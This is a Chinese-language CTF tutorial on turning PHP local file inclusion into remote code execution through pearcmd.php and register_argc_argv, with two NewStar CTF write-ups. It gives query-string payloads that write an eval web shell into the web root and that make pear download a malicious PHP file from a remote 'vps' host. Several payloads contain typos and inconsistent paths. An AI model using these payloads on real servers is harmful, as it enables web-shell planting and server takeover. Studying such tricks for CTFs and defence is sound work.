1、条件
- register_argc_argv=on开启,在php.ini中可以开启
- 必须安装pecl/pear,pecl是PHP用于管理扩展使用的命令工具,pecl是pear以来的库类,在Docker任意的镜像版本中默认安装,安装路径为/uer/local/lib/php。
2 、原理
pear的默认安装路径为/usr/local/lib/php/pear.php,在命令行中可以使用pear和/usr/local/lib/php/pear.php运行,如果存在文件包含漏洞,则可以直接运行此命令,下面我们介绍一下register_argc_argv选项,如果此选项打开,则此时用户输入的内容可能会传入到$argc、$argv、$_SERVER['argc']这几个变量中,下面直接给出结论
从URL?后面的内容会全部传入到$_SERVER['argc']这个变量中,不管是否有等号存在。即pear会在pearcmd.php中获取命令行参数。
下面我们来看pear中获取命令行argv的函数:
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}
先尝试$argv(这个变量存储命令行模式运行php脚本传入的参数)
,如果不存在再尝试$_SERVER['argv']
,后者我们可通过query-string控制。也就是说,我们通过Web访问了pear命令行的功能,且能够控制命令行的参数。
3、pear命令参数
Commands:
build Build an Extension From C Source
bundle Unpacks a Pecl Package
channel-add Add a Channel
channel-alias Specify an alias to a channel name
channel-delete Remove a Channel From the List
channel-discover Initialize a Channel from its server
channel-info Retrieve Information on a Channel
channel-login Connects and authenticates to remote channel server
channel-logout Logs out from the remote channel server
channel-update Update an Existing Channel
clear-cache Clear Web Services Cache
config-create Create a Default configuration file
config-get Show One Setting
config-help Show Information About Setting
config-set Change Setting
config-show Show All Settings
convert Convert a package.xml 1.0 to package.xml 2.0 format
cvsdiff Run a "cvs diff" for all files in a package
cvstag Set CVS Release Tag
download Download Package
download-all Downloads each available package from the default channel
info Display information about a package
install Install Package
list List Installed Packages In The Default Channel
list-all List All Packages
list-channels List Available Channels
list-files List Files In Installed Package
list-upgrades List Available Upgrades
login Connects and authenticates to remote server [Deprecated in favor of channel-login]
logout Logs out from the remote server [Deprecated in favor of channel-logout]
makerpm Builds an RPM spec file from a PEAR package
package Build Package
package-dependencies Show package dependencies
package-validate Validate Package Consistency
pickle Build PECL Package
remote-info Information About Remote Packages
remote-list List Remote Packages
run-scripts Run Post-Install Scripts bundled with a package
run-tests Run Regression Tests
search Search remote package database
shell-test Shell Script Test
sign Sign a package distribution file
svntag Set SVN Release Tag
uninstall Un-install Package
update-channels Update the Channel List
upgrade Upgrade Package
upgrade-all Upgrade All Packages [Deprecated in favor of calling upgrade with no parameters]
Usage: pear [options] command [command-options] <parameters>
Type "pear help options" to list all options.
Type "pear help shortcuts" to list all command shortcuts.
Type "pear help version" or "pear version" to list version information.
Type "pear help <command>" to get the help for the specified command.
这里我们重点介绍config-creater、install、download三种命令参数
1,config-creater:创建一个默认配置文件
config-create: must have 2 parameters, root path and filename to save as
必须传入两个参数,第一个为绝对路径,第二个为创建文件的文件名
注意传入的内容是通过+来作为分隔符的。即空格经过url编码后+,我们尝试一段命令
pear config-creater /<?=@eval($_POST[1]);?> /tmp/test.php
可以发现成功写入,我们现在解释上面的命令,在插入内容<?=@eval($_POST[1]);?>前加上/目的是引入绝对路径,后面为创建文件的文件保存地址和文件名。
值得注意的是,上面的命令并不适用与文件包含的格式来写入shell,由于$_SERVER['argv']
变量会将URL的?
后面的值都传入pear当作参数,所以此处file
需要调换一下位置,并且在适当位置加上/
和+,所以我们更改代码
?+config-creater+/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1]);?>+/var/www/html/hello.php
上述代码会将/&file=/usr/share/php/pearcmd.php&/<?=@eval($_POST[1]);?>作为一个目录,也就是第一个参数,将其shell写入/var/www/html/hello.php,然后再包含这个文件。
2,install:安装一个包
我们可以使用命令下载服务器上的phpinfo.php文件
pear install http://vps/phpinfo.php
如果我们需要配合文件包含漏洞,还需要了解一个参数--installroot,这个选项可以指定安装目录,这样就可以构建payload远程下载文件了;
?+install+--installroot+&file=/usr/local/bin/php/pearcmd.php&+http://[vps]/indax.php
这条指令可以将服务器上的index.php下载到
&file=/usr/local/lib/php/pearcmd.php&/tmp/pear/download/
目录下(后面要拼接上/tmp/pear/download/
)
3,download:下载一个文件包
基本语法
pear down http://vps/phpinfo.php
?+download+http://vps/phpinfo.php&file=/usr/share/php/pearcmd.php
需要我们在服务器建一个目录:phpinfo.php&file=/usr/share/php/
,并且将恶意的php命名为:pearcmd.php,
创建:&file=/usr/share/php/
目录,放入pearcmd.php
然后文件包含pearcmd.php
就可以利用了
4、CTF相关例题
1、NewStar22 week3 two include
打开靶机页面
<?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
include($_GET['file'].".php");
}else{
die("Hacker!");
} Hacker!
过滤了filter/rot13/base64,可能是要用include和data伪协议组合去执行命令?但他最后会在file后面加个.php,题目提示了LFI
本地文件包含,同时这里还有一个php后缀限制,可以使用pearcmd的trick。
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/var/www/html/hello.php
file后面是pearcmd的默认路径,因为Index.php提示了后面会加php,所以直接/usr/local/lib/php/pearcmd就好了。第二个&后就是第一个参数,第三个+后是第二个参数。
不要在url中直接上传因为<>在url传输中会出现解码错误,用burpsuite传输修改。
存到/var/www/html里因为这是个默认路径:默认服务器会从这个路径里提供网页文件或者其它资源。先访问hello.php,查看是否上传成功,是否有有用的信息
直接在初始url后面加就行,ls /看目录下有没有flag有关的东西:
有个fffflllllaaaaggggg,直接cat读:
这里可以用蚁剑进行连接,因为此时a.php的后门已经上传成功,具体操作这里就不一一介绍了,在下面的文件中打开即可获取flag
2、 NewStar23 week3 includepear
打开靶机,获取相关php代码如下
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];
if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}
include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>
其相关分析和去年22年的简直一模一样,这里就不做详细的介绍了,值得一提的是可以在phpinfo.php中看到register_argc_argv=on,不用考虑直接pearcmd,直接照搬22的payload,一样的操作即可完场。
5、参考
奇安信攻防社区-NewStarCTF-Week3&4的WEB题目详解
萌新赛(NewStar)_lfi to rce register_argc_argv-CSDN博客
pearcmd.php文件包含妙用_Leekos的博客-CSDN博客